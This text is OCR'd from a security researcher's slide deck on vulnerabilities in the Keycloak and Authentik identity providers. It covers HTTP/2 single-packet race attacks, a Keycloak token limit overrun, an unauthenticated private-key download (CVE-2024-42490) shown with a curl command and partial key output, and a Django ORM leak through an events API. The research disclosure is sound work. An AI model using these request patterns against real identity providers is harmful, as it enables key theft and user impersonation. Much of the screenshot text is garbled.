YOUR IDENTITY IS MINE: TECHNIQUES
AND INSIGHTS FROM OPEN-SOURCE
IDENTITY PROVIDERS RESEARCH

MAOR ABUTBUL




YOUR IDENTITY COULD BE HELD BY




YOUR IDENTITY COULD BE HELD BY YOUR
SYSTEM ADMIN?




YOUR IDENTITY COULD BE




YOUR IDENTITY COULD BE MINE?




YOUR IDENTITY COULD BE MINE? (OR ANY
USER ON YOUR IDENTITY PROVIDER?)




NOT ONLY SUCCESS STORIES




ONLY SUCCESS STORIES




NOT ONLY SUCCESS STORIES - LEARNING OPPORTUNITIES
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GET /USERINFO




GET /USERINFO

Name: "Maor Abutbul",
Background: "Father, Engineer, Researcher, Gamer",

Past: "~20 Years in Network & Security,

~8 Years, from Engineering to AppSec then Research",-q

Current: "Vulnerability Researcher @CyberArk Labs",

Other Roles: “Carpenter, Yogi, Tank (gaming), CTF Player"




PLRY OF THE GAME

HACKED




GET /USERINFO

Name: "Maor Abutbul",
Background: "Father, Engineer, Researcher, Gamer",

Past: "~20 Years in Network & Security,

~8 Years, from Engineering to AppSec then Research",-q

Current: "Vulnerability Researcher @CyberArk Labs",

Other Roles: “Carpenter, Yogi, Tank (gaming), CTF Player"




MAIN AGENDA

« Part 1 — Keycloak Research
Technical Background (IDP & Multithreading)
Limit Overrun Race Conditions
The Single-Packet Attack & HTTP2
Evaluation on Keycloak & Demo

» Part 2 — Authentik Research
« Technical Background (Object Relational Mappers)
« Private Key Information Leak (CVE-2024-42490) & ORM Leaks
* Authentik Privilege Escalation (CVE-2024-37905) & Demo




PART 1 - KEYCLOAK RESEARCH & WEB
RACE-CONDITIONS




TECHNICAL BACKGROUND
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Technical Background
Web Race Conditions
The Single-Packet Attack (Technique)
Evaluation on Keycloak & Demo

e Part 2 — Authentik Research & ORM Leaks




WHAT IS AN IDENTITY PROVIDER ?

« Managing users

 Creation

* Login pages

Success

» Password policy ) Application A

Iden'ti'ty Provider

Redlirect

* Making developer’s life easier

* integrating with an IDP




MULTITHREADING IN (WEB) SERVERS

Multithreaded Server

- TR - |

> Thread 2 s |

¥ Threadn

Database

Server

Multithreading




WEB RACE CONDITIONS
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Technical Background
Web Race Conditions
The Single-Packet Attack (Technique)
Evaluation on Keycloak & Demo

e Part 2 — Authentik Research & ORM Leaks




RACE CONDITIONS - THE (PROBLEM) VULNERABILITY

* Web servers process requests concurrently

Multiple threads interacting with the same data (at the same time)
Causes unintended behavior (in the application)




LIMIT OVERRUN RACE CONDITIONS




LIMIT OVERRUN RACE CONDITIONS

Enables you to exceed some kind of limit imposed by the business logic of the
application.

Examples:
« Redeeming a gift card multiple times
« Withdrawing or transferring cash over your account balance

Bypassing an anti-brute force rate limit




LIMIT OVERRUN RACE CONDITIONS - NORMAL FLOW

Request 1 - Code_used = False Request 2 - Code_used = True

Submit discount code
I Submit discount code

Code already used? |

false Code already used?

true

" Apply discount
Rejected: Invalid code

Set code_already used = true

Discount-code Logic - Accept Discount-code Logic - Reject




LIMIT OVERRUN RACE CONDITIONS - NORMAL FLOW

Request 1 Request 2

Submit discount code

, id | code | code_used

Code already used? 1 | 22222 | true
false 2 I 33333 | true

3 | 44444 | false

Set code_already_used = true

Submit discount code

Code already used?
true

Rejected: Invalid code

Request 1 - Code_used = False Request 2 - Code_used = True




RACE CONDITIONS - RACE FLOW

Request 1 Request 2

Submit discount code Submit discount code

Code already used? Code already used?
false false

~ Apply discount /" Apply discount

Setcode_already_used = true Set code_already used = true

Limit Overrun - Requests 1&2 - Code_used = False




HOW CAN WE TEST REMOTE SERVERS FOR
RACE CONDITIONS?




THE SINGLE-PACKET ATTACK (TECHNIQUE)
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DEVELOPING THE SINGLE-PACKET ATTACK (PORTSWIGGER)

TCP packet

Request 1 headers & data Request 2 headers & data

Single Packet Attack




THE SINGLE-PACKET ATTACK - IMPLEMENTATION (SIMPLIFIED)

» Collect all of the relevant requests data
* First, Pre-send the bulk (most) of each request

* Prepare to send the final frames
« Wait (for 100ms) to ensure the initial frames have been sent.

« Finally, Send the withheld frames (on a single packet).




THE SINGLE-PACKET ATTACK ALGORITHM 1?
| DON'T CARE, SHOW ME (THE MONEY) HOW?




THE SINGLE-PACKET ATTACK - HOW? (USAGE)

« Tools implementing the single packet technique:
Detecting and exploiting race conditions with Burp Repeater
Turbo Intruder

https://qithub.com/nxenon/h2spacex

More




THE SINGLE-PACKET ATTACK - BURP REPEATER GROUP

BB RACE 3 > B Race HTTP2 3 < 12 x 13 x RacePost 3 > [ Group1 '3 > 65x -
HTTP

mn & <|v]|>]|" Target:ht  webSocket

== Ind (2 Create tab group

8p

Request Response

Hex \n = Request attributes

1 GET /hello?name=mZa_ll 00_0l1 HTTP/Z
Host: my.local.org:8443

=
w
o
®
2
(o}
=

Request query parameters

Request body parameters

Request cookies

S9lON (i)

Request headers

Burp Repeater Group




THE SINGLE-PACKET ATTACK-BURP REPEATER SEND GROUP

I RACE 3 > B Race HTTP2 3 < 13 x Race Post 3 > M Group1 3 > 65 x + 0

mn @ lvl|>|v \ Target: https://my.local.org:8443 y HTTP/2 @

@ Group send options m = Inspector [ n - - @ X
Response -
¥ Send (current tab) Ctrl+Space ¥
Request attributes 2 A

Send group in sequence (single connection) -
Send group in sequence (separate connections) Protocol  HTTP/1 RalRLPA

8p

lopadsu|

Send group in parallel (single-packet attack)
Name Value

Method GET
Path /hello

S9lON (i

Request query parameters

Burp Repeater HTTP2 Single-Packet




SINGLE-PACKET? MANY REQUESTS ON A
SINGLE PACKET? COME ON!?




SINGLE-PACKET? COME ON

 Single packet? Many requests on a single packet?

Come on ?!
HTTP/1 mix




WOULD BE COOL IF WE COULD INSPECT
THE (SINGLE PACKET) TRAFFIC IN WIRESHARK!




INSPECTING THE (SINGLE PACKET) - NOT SO FAST!

Single packet - HTTP/2 Only

HTTP/2 use TLS (defacto)
» Let's Decrypt ?
« Diffie—Hellman (ClientKeyExchange)
« Secrets set on connection setup
Browsers (and CURL)
* (set) SSLKEYLOGFILE environment variable. (export secrets)
 Burp ->Java ?
« SSLKEYLOGFILE — Not working
« Other solution?
« https://github.com/neykov/extract-tls-secrets




WE HAVE THE SECRETS (FOR DECRYPTION)




WE HAVE THE SECRETS (FOR DECRYPTION)
-> LET'S INSPECT SOME PACKETS!




HTTP1.1 (ASCIl ENCODED)

Frame 1: 625 bytes on wire (56@@ bits), 625 bytes captured (5€e@ bits) on in eed4e 1f 99 47 45 54 cePeeees - -[R] /
Ethernet II, Src: Intel cf:e5:fe (64:49:7d:cf:e5:fe), Dst: Alticelabs_24:46: ese 48 54 HTTP/1.1 --Host:
Internet Protocol Version 6, Src: 2a@@:a841:e@5d:f98@:a914:cafb:453a:5ea, Ds 2 By

L 72 e nnection : keep-a
> Transmission Control Protocol, Src Port: 57099, Dst Port: 80, Seq: 1, Ack: 1 3080 6c live--Ca che-Cont
~ Hypertext Transfer Protocol 20990 72 rol: max -age=@--

~ GET / HTTP/1.1\r\n 9020 Upgrade- Insecure

[Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n] 906 -Request s: 1:-Us

: er-Agent : Mozill
Request Method: GET a/5.@ (W indows N

Request URI: / 00ee T 16.0; Wine4; x
Request Version: HTTP/1.1 pofe 64) Appl eWebKit/
Host: www.ynet.com\r\n 0108 537.36 ( KHTML, 1
Connection: keep-alive\r\n e ike Geck o) Chrom
Cache-Control: max-age=@\r\n et e(125.6. B gl nia
; D13¢€ ri/537.3 6 Edg/12
Upgrade-Insecur?—Requests..l\r\n . . 14 5.0.0.0- -Accept:
User-Agent: Mozilla/5.@ (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 P156 text/ht ml,appli
Accent: text/html.abplication/xhtml+xml.abplication/xml:a=0.9.image/avif. 16¢€ cation/x html+xml
2176 ,applica tion/xml

© 7 HTTP Request Method (http.request.method), 3 bytes Packets: 2 - Displayed: 2 (100.0%)

HTTP1 GET (ASCII)




HTTP2 - FRAMES - BINARY (DECRYPTED TLS)

Frame 21: 124 bytes on wire (992 bits), 124 bytes captured (992 bits) on interface \Device\NPF_{E4AB52E2-BA9A-488D-9876{| 2000 ©0 @0 17 @1 @5 @@ 60 e o5 87 E 44 92 62 72 d1

Ethernet II, Src: 0a:00:27:00:00:18 (0a:00:27:00:00:18), Dst: PCSSystemtec_81:7f:85 (08:00:27:81:7f:85)
Internet Protocol Version 4, Src: 192.168.56.1, Dst: 192.168.56.102
Transmission Control Protocol, Src Port: 63049, Dst Port: 8443, Seq: 2064, Ack: 1650, Len: 70
Transport Layer Security
HyperText Transfer Protocol 2
~ Stream: HEADERS, Stream ID: 5, Length 23, GET /hello?name=m2a_11 @@_03

Length: 23 e

Type: HEADERS (1)

Flags: @x@5, End Headers, End Stream

@i cnes asnn saes ssen ases sses swes = REserved: 0x0

.000 0000 0000 0000 0000 0000 0000 @101 = Stream Identifier: 5

[Pad Length: @]

Header Block Fragment: 878244926272d141ffca874960a44388218800880cffco

[Header Length: 11@]

[Header Count: 4]

Header: :scheme: https /

Header: :method: GET

Header: :path: /hello?name=m2a_11_00_o3

Header: :authority: my.local.org:8443

[Full reguest URI: https://my.local.org:8443/hello?name=m2a_11_00_03

Response in frame: 22

@ 7 Header (http2.header), 1 byte

HTTP2 GET (Binary)

41 ff ca 87 49 60 a4 43 88 21 88 @@ 88

/I

oc ff co

Frame (124 bytes) Decrypted TLS (32 bytes)

Packets: 23 . Displayed: 23 (100.0%;

Decompressed Header (110 bytes)

Profile: Default




HTTP/2 MULTIPLEXING - STREAMS

| 1] |tcp.stream eq 0 and http2.streamid eq 5

No. Time Source Destination Protocol Length Info
e 10 ©.060653 192.168.56.1 192.168.56.102 HTTP2 SSBQ’HEADERS[S]: GET /hello?name=m2a_11 €0 03
21 ©.128996 192.168.56.1 192.168.56.192 HTTP2 195 VDATA[S] Mark/Unmark Packet Ctrl+M
22 0.142220 192.168.56.182 192.168.56.1 HTTP2 136 HEADERS[5]: 20@ OK, DATA[5] (text/plain) Ignore/Unignore Packet Ctrl+D
Set/Unset Time Reference Ctrl+T
Time Shift... Ctrl+Shift+T

Frrame ie.- 57597 bytes on \Jire (74-47007 bifsj, ;’0578 betes capturedr(m bitsb on inter;ace {D:vi:cr\NVPF_{'HAa'ﬁz'E' 20 8 00 27 81

Ethernet IT, Src: @a:00:27:00:00:18 (9a:00:27:00:00:18), Dst: PCSSystemtec_81:7f:85 (88:00:27:81:7:85) ;3 :g 52 Packet Comments 4
3 a 5 6 1

Interne‘et l?rotocol Version 4, Src: 192.168.56.1, Dst: 192.168.56.102 61 ae 55 Edit Resolved Name:

Transmission Control Protocol, Src Port: 63250, Dst Port: 8443, Seq: 1591, Ack: 271, Len: 496 fb 33 86 32

Transport Layer Security 8c d3 35 4e Apply as Filter

HyperText Transfer Protocol 2 af 11 1b 4f : =
db 88 3 12 Prepare as Filter

3f 83 6e cf Conversation Filter
HyperText Transfer Protocol 2 el

Stream: SETTINGS, Stream ID: @, Length 24 5d 41 Se 01
HyperText Transfer Protocol 2 | fa @a 92 79 ¢ SCTP

Stream: WINDOW_UPDATE, Stream ID: @, Length 4 HTTP/2 Stream Follow
HyperText Transfer Protocol 2 TCP Stream Ctrl+ Alts Shift+T

Stream: HEADERS, Stream ID: 1, Length 36, GET /hello?name=m2a_l11_0©_01 Copy
HyperText Transfer Protocol 2 T - Cirfs NS

Stream: HEADERS, Stream I0: 3, Length 22, GET /hello?name=m2a_11_00_02 ~ [[e110 38 ec o1 2¢ d6 Sotocol Heerenee
HyperText Transfer Protocol 2 87 bd 25 bc 76 Decode As...

Stream: HEADERS, Stream ID: 5, Length 23, GET /hello?name=m2a_11_00_03 ] Show Packet in New Window

Frame (550 bytes) Decrypted TLS (52 bytes] Decrypted TLS (24 bytes) Decny 4 »
@ 7 parallel_single-packet_decrypted.pcapng Packets: 23 . Displayed: 3 (13.0%) Profile: Default

HTTP2 Streams Single Packet

Stream: Magic

Colorize Conversation




HTTP2 STREAM - SINGLE-PACKET

| 1] |tcp.stream eq 0 and http2.streamid eq 5 h

No. Time Source Destination Protocol Length Info
e 10 ©.060653 192.168.56.1 192.168.56.102 HTTP2 SSBQ’HEADERS[S]: GET /hello?name=m2a_11 €0 03
21 ©.128996 192.168.56.1 192.168.56.192 HTTP2 195 VDATA[S] Mark/Unmark Packet Ctrl+M
22 0.142220 192.168.56.182 192.168.56.1 HTTP2 136 HEADERS[5]: 20@ OK, DATA[5] (text/plain) Ignore/Unignore Packet Ctrl+D
Set/Unset Time Reference Ctrl+T
Time Shift... Ctrl+Shift+T

Frrame ie.- 57597 bytes on \Jire (74-47007 bifsj, ;’0578 betes capturedr(m bitsb on inter;ace {D:vi:cr\NVPF_{'HAa'ﬁz'E' 20 8 00 27 81
. 02:00:27:00:00: :00:27:00:00: . 7F: :00:27:81:7F: 18 &5 59 Packet Comments %
Ethernet II, Src: 0a:00:27:00:00:18 (02:00:27:00:00:18), Dst: PCSSystemtec_81:7f:85 (©8:00:27:81:7f:85) L
- - 3 6 1
Interne‘et l?rotocol Version 4, Src: 192.168.56.1, Dst: 192.168.56.102 61 ae 55 Edit Resolved Name:
Transmission Control Protocol, Src Port: 63250, Dst Port: 8443, Seq: 1591, Ack: 271, Len: 496 fb 33 86 32
Transport Layer Security 8c d3 35 4e Apply as Filter
HyperText Transfer Protocol 2 af 11 1b 4f : (o i
pare as Filter
Stream: Magic gg gg Z"’ 1121 ¢ tion Filt
= $ e c onversation Filter
HyperText» ransfer Protocol 2 i 83 03 00 39
Stream: SETTINGS, Stream ID: @, Length 24 5d 41 Se 01
HyperText Transfer Protocol 2 | fa @a 92 79 ¢ SCTP
Stream: WINDOW_UPDATE, Stream ID: @, Length 4 HTTP/2 Stream Follow
HyperText Transfer Protocol 2 TCP Stream Ctrl+ Alts Shift+T
Stream: HEADERS, Stream ID: 1, Length 36, GET /hello?name=m2a_l11_00_01 : Copy
HyperText Transfer Protocol 2 T ,_E‘TI:ST"_S_
Stream: HEADERS, Stream ID: 3, Length 22, GET /hello’name=m2a_11_0@_02 38 Oc al 2e d6 Protocol Preferences
HyperText Transfer Protocol 2 87 bd 25 bc 76 Decode As...
Stream: HEADERS, Stream ID: 5, Length 23, GET /hello?name=m2a_11_00_03 — Show Packet in New Window
O =2 = e

Frame (550 bytes) Decrypted TLS (52 bytes] Decrypted TLS (24 bytes) Decny 4 »
@ 7 parallel_single-packet_decrypted.pcapng Packets: 23 . Displayed: 3 (13.0%) Profile: Default

HTTP2 Streams Single-Packet

Colorize Conversation




HTTP2 STREAM - SINGLE-PACKET

HyperText Transfer Protocol 2

Stream: WINDOW_UPDATE, Stream ID: @, Length 4
HyperText Transfer Protocol 2

Stream: HEADERS, Stream ID: 1, Length 36, GET /hello?name=m2a_11 00 _01
HyperText Transfer Protocol 2

Stream: HEADERS, Stream ID: 3, Length 22, GET /hello?name=m2a_11 00_02
HyperText Transfer Protocol 2

Stream: HEADERS, Stream ID: 5, Length 23, GET /hello?name=m2a_11 00 _03

Q 7 parallel_single-packet_decrypted.pcapng

HTTP2 Streams - Different Requests - Single-Packet




HTTP - TAKEAWAY

« HTTP/2 - Is Binary, Using Streams

» Using streams - Permits multiple requests and responses to be sent simultaneously.

« Allows the single-packet attack to work




EVALUATION ON KEYCLOAK




PART 1 - AGENDA

« Part 1 — Keycloak Research & Web Race-Conditions
Technical Background
Web Race Conditions
The Single-Packet Attack (Technique)
Evaluation on Keycloak & Demo

e Part 2 — Authentik Research & ORM Leaks




FIRST TARGET - KEYCLOAK

« Open-Source IdP / IAM
+ Maintained by Red Hat. Sign in to your account

o GitHub stars: 24.9 k

« Shodan: ~27k internet-facing systems

WAKEYCLOAK

Keycloak Login Screen




EVERYTHING IS MULTI-STEP




EVERYTHING IS MULTI-STEP - EVALUATION

* Inspecting the Keycloak database
* The users (User Entity) table

» Separated from the Required Action
table

Query Query History

1 SELECT * FROM public.user_required_action
2 ORDER BY user_id ASC, required_action ASC

Data Output Messages Notifications

= B vyBOvie &8 8~

user_id required_action
[PK] character varying (36) 4 [PK] character varying (255) 4

2badedbé-ecca-4ccd-b8fd-4bd614b704 CONFIGURE_TOTP
2badedbé6-ecca-4ccd-b8fd-4bd614b704.. VERIFY_EMAIL
837196c6-fa3f-417e-8733-674f4eaS5¢c717  VERIFY_EMAIL

Actions Table



EVERYTHING IS MULTI-STEP - EVALUATION

Inspecting the Keycloak database
The users (User Entity) table

Separated from the Required Action
table

Required Action = Verify Email

By default on creation,

no email verification required!?

Query Query History

1 SELECT * FROM public.user_required_action
2 ORDER BY user_id ASC, required_action ASC

Data Output Messages Notifications

= RvOve 8 &8 ~
user_id required_action
[PK] character varying (36) 4 [PK] character varying (255) 4
2badedb6-ecca-4ccd-b8fd-4bd614b704 CONFIGURE_TOTP
2badedb6-ecca-4ccd-b8fd-4bd614b704..  VERIFY_EMAIL
837196c6-fa3f-417e-8733-674f4ea5¢c717  VERIFY_EMAIL

Actions Table



CAN WE GAIN UNAUTHORIZED ACCESS?
(USING ANY/ADMIN EMAIL)




ATTACK SCENARIO - RACING USER CREATION

Race Attack Scenario

— LT
ml head2 BN
. .

L] .
_ Usern pepenl  Threadn el

Database

Server

Single packet — Register & Login Requests




LET'S INSPECT THE USER CREATION (CODE)




CAN WE GAIN UNAUTHORIZED ACCESS? - USER CREATION
CODE

Add User Code Snippet - Don’'t try to read




CAN WE GAIN UNAUTHORIZED ACCESS? - USER CREATION
CODE

Add User Code Snippet




LET'S RACE AGAINST USER CREATION




CAN WE GAIN UNAUTHORIZED ACCESS? - DEBUG

» SQL Workbench/J - Copy of Keycloak - Default.wksp @1 keycloak ¥ 9 main

File Edit View Data SQL Macros Workspace Tools Help
| 2 ¢ K € > 2 M5 = d B
USER_SESSION_NOTE 11 USER_ROLE_MAPPING 12 - =kl
[ .github

RESOURCE_URIS 8 WEB_ORIGINS 9 USER_SESSION 10 = B
ROLE_ATTRIBUTE 7

(L

DATABASECHANGELOGLOCK 4 CLIENT 5 CLIENT_SCOPE 6
& USER_REQUIRED_ACTION 1 USER_ENTITY 2 Database Expiorer 3

1 Result USER_EN
2 SELECT COUNT(*) 1ID,|

3 REALM_ID

4 FROM KEYCLOAKDB.PUBLIC.USER ENTITY
5 group by REALM_ID;

USER_ENTITY  Messages
The connection is currently busy with another request.

Debugger Breakpoint — Database status




RACING USER CREATION - FAILED

Race Attack Scenario

. TR

- EIETE @

e I T e

Database

Server

Single packet — Register & Login Requests




WE LOSE THE RACE AGAINST USER CREATION




"LOSING" THE RACE - A LEARNING
OPPORTUNITY




A LEARNING OPPORTUNITY - AVOIDING RACE CONDITIONS

» Using:
« Debugger Breakpoints
« Activate ORM logs (Hibernate)

« The (Missing piece) Reason




AVOIDING RACE CONDITIONS - ORM LOGS

3-05 12:49:37,781 DEBUG [org. nate :: = c ctionManagedImpl]
bernate.connecti

/insert into
#:1*/update US

ORM logs




AVOIDING RACE CONDITIONS - ORM LOGS

ectionManagedImpl] (

l hibernate.connection.provider disables autocommit® was enabled.J

Fities.Use

{/insert into USER_ENTITY |
ep———— — s 3.0

E?J.nsert into USER REQUIRED ACTION |

s S ] % ION L

USER_ENTITY
M

416
T
from beforeTransactio

*/COMMIT:

ORM logs




EVERYTHING IS MULTI-STEP - TAKEAWAY

» Auto-Commit (disabled) -> Using Transactions
« Transaction - Database state is updated (or not) in “one shot”




"WITH RACE CONDITIONS, EVERYTHING [S
MULTI-STEP”, WELL, SOMETIMES :)




KEYCLOAK - LIMIT OVERRUN DEMO
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Technical Background
Web Race Conditions
The Single-Packet Attack (Technique)

Evaluation on Keycloak &
Demo

Part 2 — Authentik Research & ORM Leaks




KEYCLOAK INITIAL-ACCESS-TOKEN LIMIT
OVERRUN - DEMO BACKGROUND

Clients

Clients are applications and services that can request authentication of a user. Learn more [

« Admin creates an API key token (for
developerS) 2Nt t Initial access token

Limit the number of clients ok >

(i.,e.max = 2)
Created date Expires Count Remaining count

e Send the API key to the developer C49fc551-eadc-498e-96c1-4abb18I0afb4  January 30, 2024 at 1159 AM  January 31,2024 at 1159 AM 2

The developer uses this token to create
applications (clients) in Keycloak

1-1 =

The token’s “Remaining count” is
updated

|IAT-Token Creation




KEYCLOAK INITIAL-ACCESS-TOKEN LIMIT OVERRUN - DEMO

m2a Keycloak IAT Demo v2.mp4




KEYCLOAK INITIAL-ACCESS-TOKEN LIMIT OVERRUN - DEMO
RESULT

Clients

Clients are applications and services that can request authentication of a user. Learn more [£

Initial access token

»

ID Created date Expires Count Remaining count

c49fcS51-eadc-498e-96¢1-4abb1810afb4  January 30, 2024 at 1:159 AM  January 31, 2024 at 11:59 A

|AT-Token (Exploited)




KEYCLOAK INITIAL-ACCESS-TOKEN LIMIT OVERRUN - SUMMARY

* Reported the issue to the Keycloak security team
« Confirmed, Public, and Fixed.




PART 1 CONCLUSION & KEYCLOAK - BLOGPOST

» Key Sections:
LDAP (Injections, Fuzzing)
Web Race Condifions — Success and Failure
CVE-2024-1722 - Denial-of-Service (DoS)

https://www.cyberark.com/resources/threat-research-
blog/you-cant-always-win-racing-the-keycloak

Keycloak Blog




PART 2 — AUTHENTIK RESEARCH & ORM
LEAKS
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ORM Leaks

Privilege Escalation (CVE-2024-37905)

Demo




(SHORT) TECHNICAL BACKGROUND




PART 2 - AGENDA

« Part 1 — Keycloak Research & Web Race-Conditions

» Part 2 — Authentik Research & ORM Leaks
(Short) Technical Background
Sensitive Information Leak (CVE-2024-42490)

ORM Leaks

Privilege Escalation (CVE-2024-37905)

Demo




OBJECT RELATIONAL MAPPERS (ORMS)

A Programming Technique

Work with databases using a Programming language.

Manage data without writing SQL queries.

Models define the structure of stored data

from django.db import models

class Person(models.Model):
first_name = models.CharField(max_length=30)
last_name = models.CharField(max_length=30)

Example Django Model Declaration




NEW TARGET - AUTHENTIK

M authentik

Maintained by goauthentik.io Welcome to authentik!

G|tHUb StarS: 146 k Email or Username ~

Email or Username

Open-Source IdP / IAM

Shodan: ~4k internet-facing
systems (Authentik Shodan Search)

* Note: “Authentik is a Django project”

(Authentik docs).

Authentik Login Screen




SENSITIVE INFORMATION LEAK (CVE-
2024-42490)




PART 2 - AGENDA

« Part 1 — Keycloak Research & Web Race-Conditions

« Part 2 — Authentik Research & ORM Leaks
(Short) Technical Background
Sensitive Information Leak (CVE-2024-42490)

ORM Leaks

Privilege Escalation (CVE-2024-37905)

Demo




CERTIFICATES IN AUTHENTIK (BACKGROUND)

 Certificates (stored on the Authentik
database)

Authentik Web Server (HTTPS)

Sign OAuth2 tokens (ldentity provider
Config)

Certificate




CERTIFICATES MANAGEMENT (AUTHENTIK)

A Certificate-Key Pairs

Import certificates of external providers or create certificates to sign requests with.

MJavthentik =

Name | Private key availab.. Expiry date
Customization H authentik Self-signed Certificate + Yes (RSA)
Flows and Stages N —
> authentikm2alocal + Yes (RSA)
Directory
System
rands

Certificates.

Settings

Enterprise

Admin console - certificates management




&Jauvthentik

ARG U

Events

Transports

Customization
Flows and Stages
Directory
System

Br

Certificates

Outpost Integrations

DOWNLOAD

A Certificate-Key Pairs

Import certificates of external providers or create certificates to sign requ

Q Create

Name Private key available? Expiry date

Certificate
Fingerprint
(SHA1)

Certificate
Fingerprint
(SHA256)

Certificate elf-signed,O=authentik, CN=au
Subject

Download | o load ¢ ficate ‘ Download Private key ‘

Admin - download private key

Actions

Z

[

]

a




CAN A USER DOWNLOAD THE CERTIFICATE?




CAN A USER DOWNLOAD THE CERTIFICATE?

$ curl -s -k $'https://authentik.m2a.local/api/v3/crypto/certificatekeypairs/
6c8b5Sbb-cd2d-435e-alf2-e341a0c8e4f5/view_private_key/?download="

Request Private key Download (No Auth)




CAN A USER DOWNLOAD THE CERTIFICATE?

° Whoops $ curl -s -k $'https://authentik.m2a.local/api/v3/crypto/certificatekeypairs/
6c8b5Sbb-cd2d-435e-alf2-e341a0c8e4f5/view_private_key/?download="

° | i BEGIN RSA PRIVATE KEY
Anyone' COUId download the pr|Vate MIIJJIWIBAAKCAQEA3jghLN8BIATfm+dIXLs01Dpas1+arRqgl91fQ+D+xqIOF3tw7xX

key' zx1dTIuKF31/sqSMGt5IgRSCPEXFDINNSZ6VUI4tTIEYT 9RUKTQQUY rVIhFLE7XX
J3pdtmjEeH7EGMBQ1GGhnIdjwWIAGTOXQ29RQg1 1CFLX9tOnbMihhQ4mUEYTIcKBX
p4sz+Fo+ot7C73fvMUYTryn17jndfM/UqoizDI98Y53 jhuwPwbLgFak46 1MIkOOA
BwmkdAvV+k23AXi6Cqs0Kqzoavg4F+MsXYITFB4Z161nSLYqwzXHwWnBmzWnD76ev5
N/I0igsYirp6y6hL10ret/EwP1S6ThCXnzpJoUcltZDLF5B827 LHhNWI8,/03v2R0OX
2VHks0/M65mr3xt3700ck4uLsMjLWHT7g+hgXxEULOqVT1298Rp/a84PH5879YJRP
TgMYmrcw39fMre5F4xFOweIvwKoI ryQtMvy0tgYWcwWDzQPsIGWhPHmMDh2dQKrxI8

Private key Download - No authorization




ANYONE CAN DOWNLOAD THE PRIVATE KEY!




DOWNLOAD THE PRIVATE KEY! LIMITATION

. WhOOpS S curl —s -k Shttns://anthantil m2a Jocal/api/v3/crypto/certificatekeypairs/
5c8b5Sbb-cd2d-435e-alf2-e341a0c8e4f5/{"iew_private_key/?downTload="

° | i BEGIN RSA PRIVATE KEY
Anyone' COUId download the pr|Vate MIIJJIWIBAAKCAQEA3jghLN8BIATfm+dIXLs01Dpas1+arRqgl91fQ+D+xqIOF3tw7xX

key' zx1dTIuKF31/sqSMGt5IgRSCPEXFDINNSZ6VUI4tTIEYT 9RUKTQQUY rVIhFLE7XX
J3pdtmjEeH7EGMBQ1GGhnIdjwWIAGTOXQ29RQg1 1CFLX9tOnbMihhQ4mUEYTIcKBX
p4sz+Fo+ot7C73fvMUYTryn17jndfM/UqoizDI98Y53 jhuwPwbLgFak46 1MIkOOA

e Limitation - The internal UUID (set BwmkdAv+k23AX16CqsOKqzoavg4F+MsXYITfFB4Z161nSLYqWzXHwnBmzwWnD76ev5
N/I0igsYirp6y6hL10ret/EwP1S6ThCXnzpJoUcltZDLF5B827 LHhNWI8,/03v2R0OX

by the Authentik Server) IS reCIU|red. 2VHks0/M65mr3xt3700ck4uLsMjLWHT7g+hgXxEULOQVT1298Rp/a84PH5879YjRP
TgMYmrcw39fMre5F4xFOweIvwKoI ryQtMvy0tgYWcwWDzQPsIGWhPHmMDh2dQKrxI8

Private key Download - No authorization




PRIVATE KEY LEAK, SHOULD WE CARE?




PRIVATE KEY LEAK, WHY SHOULD WE CARE?

* Impersonate the authentik webserver (phishing users/admin)

» Impersonate users’ tokens
« Access to any system trusting authentik.




HOW HARD CAN IT BE TO LEAK A UUID?




HOW HARD CAN IT BE TO LEAK A UUID?

* |[nto the rabbit hole

 Tried to leak by a few methods

The Naive Attempt - Leaking the UUID from an API call
“There must be one API in which we could leak this data.”
This attempt failed




HOW HARD CAN IT BE TO LEAK A UUID?

* |[nto the rabbit hole

 Tried to leak by a few methods

* The Naive Attempt - Leaking the UUID from an API call
« “There must be one API in which we could leak this data.”
» This attempt failed
« An excellent article, plORMbing your Django ORM, by Elttam
« ORM Leak (Object Relational Mappers)
* “Insecure use of ORMs can lead to information leaks”




DJANGO ORM LEAK PATTERN

» The pattern we are looking for is:

Using the filter() method with the unpacking operator ** applied to user-supplied data
Allowing us to leak some internal data (and hopefully our UUID)




FOUND A PROMISING ORM LEAK INSTANCE - EVENTS API

« Events (Log) API

« API Endpoint
 /api/v3/events/events/per month/?query={}

* Regular (Non-Admin) users can call this API




FOUND A RANDOM API, WHAT IS IT ABOUT ?




FOUND A PROMISING ORM LEAK INSTANCE

Request
GraphQL \n

GET /api/v3/events/events/per month/?
gin&query={(} HTTE/1l.1
authentik.mZa.local

Raw Hex

action=
Host:
Authorization: Bearer

XNwvJAB sMxr a7FLlNOtwCVL17QERS 85Ci8hl fPClbn0
WQpJiJO8Vixr5o6dZUld

Response

Pretty Raw

Hex

X-Content-Type-Options:

X-Frame-Options:
authentik

X-Powered-By:

DENY

Hackvertor

nosniff

Grep

8p

\n

10padsu)

[{"x_cord":1725539319000.0, "y _coxd":0}, {"x cord":1725458€79000.0, "y_coxd”:D}, {

"x_cord":1725378039000.0, "y cord":0}, {"x_cord":1725297399000.0, "y cord":0}, {"x_cord"
1725136119000.
1724974839000.
1724813559000.
1724€52279000.
1724490999000.
1724329719000.
1724168439000.
:1724007159000.
:1723845879000.
:1723684599000.
:1723523319000.
:1723362039000.
:1723200759000.

1725216755000.
1725055479000.
1724894195000.
1724732919000.
1724571635000.
1724410355000.
1724249079000.
1724087799000.
1723926519000.
1723765235000.
1723€603959000.
172344Z2€79000.
1723281399000.
1723120115000.

0,

0,
0,
0

0.
0.
0.
0,
0,
0.
0.
0,
0,
0,

"y_cord"
"y _cord"
"y cord”
"y cord”
"y _cord"
"y_cord"

"y_cord":

:0}, {"x_coxd":
s0). 4" cord™:
:0), {"x_coxd”:
0}, {"x_coxd":

10, {"x_
10}, ("

"y cord"”:
"y cord":
"y_cord":
"y_cord":
"y_cord":
"y cord":
"y_cord":

£ | 0highlights @{C:)} < 2 |ycod

cord":
cord":
cozd":

"yicord":
"y _cord":
"y coxrd":
"y_coxd":
"yicard":
"y _coxd"”:
"y coxd":

"y_cord
"y_cord

"y _coxrd"”:

S9l0N (i

{"x cord™:
{"x_cord":

{"x_cord":

X 31 matches

1,514 bytes | 1,062 millis

Request to the events/per_month APl returns a valid response




FOUND A PROMISING ORM LEAK INSTANCE - EVENTS API
HISTOGRAM

Admin event log view - Histogram




EVENTS LOG LEAK - IS IT RELEVANT?




AUTHENTIK EVENTS LOG

User Statistics i key_data
System Tasks Model Name cer last_updated "2024-09-04713:39:47.9704362"

